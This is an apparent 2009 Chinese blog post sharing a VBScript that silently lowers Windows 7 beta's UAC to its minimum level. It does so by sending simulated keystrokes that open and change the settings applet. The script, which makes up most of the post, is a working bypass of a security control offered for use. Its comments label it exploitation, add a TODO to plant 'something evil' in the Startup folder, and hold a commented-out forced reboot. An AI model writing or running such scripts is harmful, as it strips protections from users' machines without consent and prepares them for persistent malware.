WELCOME

2009年3月5日 星期四

[分享] 关闭win7中的UAC功能

众所周知,win7中的UAC分成了多个级别,但是不能关闭:
ScreenShot01008.png

要关闭Win7(Beta版本)中的UAC,可以使用下面的一段脚本来实现:
  1. '// 1337H4x Written by _____________
  2. '// (12 year old)

  3. Set WshShell = WScript.CreateObject("WScript.Shell")

  4. '// Toggle Start menu
  5. WshShell.SendKeys("^{ESC}")
  6. WScript.Sleep(500)

  7. '// Search for UAC applet
  8. WshShell.SendKeys("change uac")
  9. WScript.Sleep(2000)

  10. '// Open the applet (assuming second result)
  11. WshShell.SendKeys("{DOWN}")
  12. WshShell.SendKeys("{DOWN}")
  13. WshShell.SendKeys("{ENTER}")
  14. WScript.Sleep(2000)

  15. '// Set UAC level to lowest (assuming out-of-box Default setting)
  16. WshShell.SendKeys("{TAB}")
  17. WshShell.SendKeys("{DOWN}")
  18. WshShell.SendKeys("{DOWN}")
  19. WshShell.SendKeys("{DOWN}")

  20. '// Save our changes
  21. WshShell.SendKeys("{TAB}")
  22. WshShell.SendKeys("{ENTER}")

  23. '// TODO: Add code to handle installation of rebound
  24. '// process to continue exploitation, i.e. place something
  25. '// evil in Startup folder

  26. '// Reboot the system
  27. '// WshShell.Run "shutdown /r /f"

这段脚本代码很好理解,只需要保存为.vbs,并且在win 7中运行,那么UAC就可以被关闭。

看来有时候易用性和安全性之间的真的是一对永恒的矛盾。

沒有留言:

張貼留言